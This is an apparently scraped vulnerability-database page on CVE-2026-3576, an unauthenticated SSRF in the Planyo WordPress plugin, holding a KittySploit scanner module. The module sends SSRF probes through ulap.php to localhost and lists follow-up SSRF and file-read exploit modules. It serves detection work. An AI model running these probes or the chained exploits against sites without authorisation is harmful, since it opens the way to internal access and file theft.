Planyo Online Reservation System CVE-2026-3576 detection
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2026-3576 | 11 Jul 202603:44 | – | attackerkb | |
| CVE-2026-3576 | 11 Jul 202605:30 | – | circl | |
| CVE-2026-3576 | 11 Jul 202603:44 | – | cve | |
| CVE-2026-3576 Planyo online reservation system <= 3.0 - Unauthenticated Server-Side Request Forgery via 'ulap_url' Parameter | 11 Jul 202603:44 | – | cvelist | |
| Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF | 11 Aug 202600:00 | – | exploitdb | |
| EUVD-2026-43137 | 11 Jul 202603:44 | – | euvd | |
| CVE-2026-3576 | 15 Oct 202612:17 | – | kitploit | |
| Planyo Online Reservation System <= 3.0 - Arbitrary File Read (CVE-2026-3576) | 11 Aug 202621:26 | – | kittysploit | |
| Planyo ulap.php unauthenticated SSRF (CVE-2026-3576) | 21 Jul 202612:37 | – | kittysploit | |
| Wordpress Planyo Online Reservation System Arbitrary File Read (CVE-2026-3576) | 10 Jul 202600:00 | – | metasploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from typing import Optional, Tuple
from urllib.parse import urlencode
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress
_PLUGIN = "planyo-online-reservation-system"
_ULAP = "ulap.php"
_VULN_HIGH = (3, 0, 0)
_FIXED = "3.1"
_BLOCKED_MARKER = "not allowed"
_DISALLOWED_CONTROL_URL = "http://example.com/"
_LOCALHOST_PROBE_URL = "http://localhost/"
class Module(Scanner, Http_client, Wordpress):
__info__ = {
"name": "Planyo Online Reservation System CVE-2026-3576 detection",
"description": (
"Detects Planyo Online Reservation System <= 3.0 with unauthenticated SSRF "
"via ulap.php ulap_url (CVE-2026-3576). Confirms the localhost allow-list "
"bypass with a differential probe (disallowed host blocked, localhost not). "
"Version/SSRF check only — no file:// LFI or content exfiltration."
),
"author": ["KittySploit Team"],
"severity": "high",
"cve": "CVE-2026-3576",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-3576",
"https://www.cve.org/CVERecord?id=CVE-2026-3576",
],
"modules": [
"auxiliary/admin/http/planyo_cve_2026_3576_ssrf",
"auxiliary/admin/http/planyo_cve_2026_3576_file_read",
],
"tags": [
"web",
"scanner",
"wordpress",
"planyo",
"ssrf",
"unauthenticated",
"cve-2026-3576",
],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 4,
"reversible": True,
"approval_required": False,
"produces": ["tech_hints", "risk_signals", "endpoints"],
"cost": 1.0,
"noise": 0.4,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": [],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {"wordpress": 0.3},
"confidence_min_any": {},
"endpoint_pattern_any": [],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
{"capability": "ssrf_primitive", "from_detail": ""},
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"auxiliary/admin/http/planyo_cve_2026_3576_ssrf",
"auxiliary/admin/http/planyo_cve_2026_3576_file_read",
],
},
},
}
base_path = OptString("/", "WordPress base path", required=False)
def _wp_base(self) -> str:
return self.wp_normalize_base_path(self.base_path or self.path or "/")
def _ulap_path(self) -> str:
return self.wp_plugin_path(self._wp_base(), _PLUGIN, _ULAP)
def _fetch_plugin_version(self) -> Tuple[str, str]:
wp_base = self._wp_base()
version = self.wp_plugin_version(_PLUGIN, wp_base)
readme = self.wp_plugin_path(wp_base, _PLUGIN, "readme.txt")
if version:
return version, readme
for rel in (_ULAP, "planyo.php", "readme.txt"):
path = self.wp_plugin_path(wp_base, _PLUGIN, rel)
response = self.http_request(
method="GET",
path=path,
allow_redirects=True,
timeout=max(int(self.timeout or 10), 10),
)
if not response or response.status_code != 200:
continue
body = response.text or ""
extracted = self.wp_extract_version_from_readme(body) or ""
if extracted:
return extracted, path
low = body.lower()
if "planyo" in low or "ulap" in low or "send_http_post" in low:
return "", path
return "", ""
def _ulap_reachable(self) -> bool:
response = self.http_request(
method="GET",
path=self._ulap_path(),
allow_redirects=True,
timeout=max(int(self.timeout or 10), 10),
)
if not response:
return False
# Standalone PHP proxy: typically 200 even without params.
if response.status_code == 200:
return True
body = (response.text or "").lower()
return "not allowed" in body or "ulap" in body or "planyo" in body
def _ulap_request(self, ulap_url: str) -> Tuple[Optional[int], str]:
path = self._ulap_path()
query = urlencode({"ulap_url": ulap_url})
response = self.http_request(
method="GET",
path=f"{path}?{query}",
allow_redirects=True,
timeout=max(int(self.timeout or 15), 15),
)
if not response:
return None, ""
return int(response.status_code), response.text or ""
def _differential_ssrf(self) -> Optional[bool]:
"""
Return True when localhost is allow-listed (vulnerable),
False when both hosts are blocked (patched),
None when the control response is inconclusive.
"""
_ctrl_status, ctrl_body = self._ulap_request(_DISALLOWED_CONTROL_URL)
ctrl_blocked = _BLOCKED_MARKER in (ctrl_body or "").lower()
if not ctrl_blocked:
# Endpoint may not be the Planyo proxy, or allow-list is disabled entirely.
return None
_ssrf_status, ssrf_body = self._ulap_request(_LOCALHOST_PROBE_URL)
ssrf_blocked = _BLOCKED_MARKER in (ssrf_body or "").lower()
if ssrf_blocked:
return False
return True
def run(self):
try:
version, evidence_path = self._fetch_plugin_version()
ulap_path = self._ulap_path()
ulap_ok = self._ulap_reachable()
if not evidence_path and not ulap_ok:
return False
if ulap_ok and not evidence_path:
evidence_path = ulap_path
print_success(
f"Planyo plugin evidence at {evidence_path}"
+ (f" (version {version})" if version else "")
)
if ulap_ok:
print_info(f"ulap.php reachable at {ulap_path}")
ssrf_result = None
if ulap_ok:
ssrf_result = self._differential_ssrf()
if ssrf_result is True:
print_warning(
"Differential SSRF check: disallowed host blocked, "
"localhost not blocked"
)
elif ssrf_result is False:
print_info(
"Differential SSRF check: localhost is blocked "
"(allow-list appears patched)"
)
else:
print_status(
"Differential SSRF check inconclusive "
"(control host was not blocked as expected)"
)
if ssrf_result is True:
self.set_info(
severity="high",
cve="CVE-2026-3576",
reason=(
"Planyo ulap.php allows unauthenticated SSRF to localhost "
"(CVE-2026-3576 allow-list bypass); fixed in "
f"{_FIXED}+"
),
version=version or None,
path=ulap_path,
confidence="high",
service="wordpress",
endpoint=ulap_path,
)
return True
if version and self.wp_version_in_range(version, (0, 0, 0), _VULN_HIGH):
# Version in range but differential negative/inconclusive —
# still report potential exposure (e.g. network blocked to localhost).
confidence = "medium" if ssrf_result is None else "low"
self.set_info(
severity="high",
cve="CVE-2026-3576",
reason=(
f"Planyo Online Reservation System {version} detected "
f"(<= {_VULN_HIGH[0]}.{_VULN_HIGH[1]}); "
"within CVE-2026-3576 range"
+ (
"; SSRF differential not confirmed"
if ssrf_result is not True
else ""
)
),
version=version,
path=evidence_path,
confidence=confidence,
service="wordpress",
endpoint=ulap_path,
)
return True
if version:
self.set_info(
severity="info",
reason=(
f"Planyo Online Reservation System {version} detected; "
f"appears outside CVE-2026-3576 range (fixed in {_FIXED}+)"
),
version=version,
path=evidence_path,
service="wordpress",
)
return False
if ulap_ok and ssrf_result is False:
self.set_info(
severity="info",
reason=(
"Planyo ulap.php reachable but localhost requests are blocked; "
"likely patched for CVE-2026-3576"
),
path=ulap_path,
service="wordpress",
)
return False
self.set_info(
severity="medium",
cve="CVE-2026-3576",
reason=(
f"Planyo plugin detected at {evidence_path}, "
"but version/SSRF status could not be confirmed"
),
path=evidence_path,
confidence="low",
service="wordpress",
endpoint=ulap_path,
)
return True
except Exception as exc:
print_error(f"Scanner failed: {exc}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 21:26Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.2
EPSS0.08808
SSVC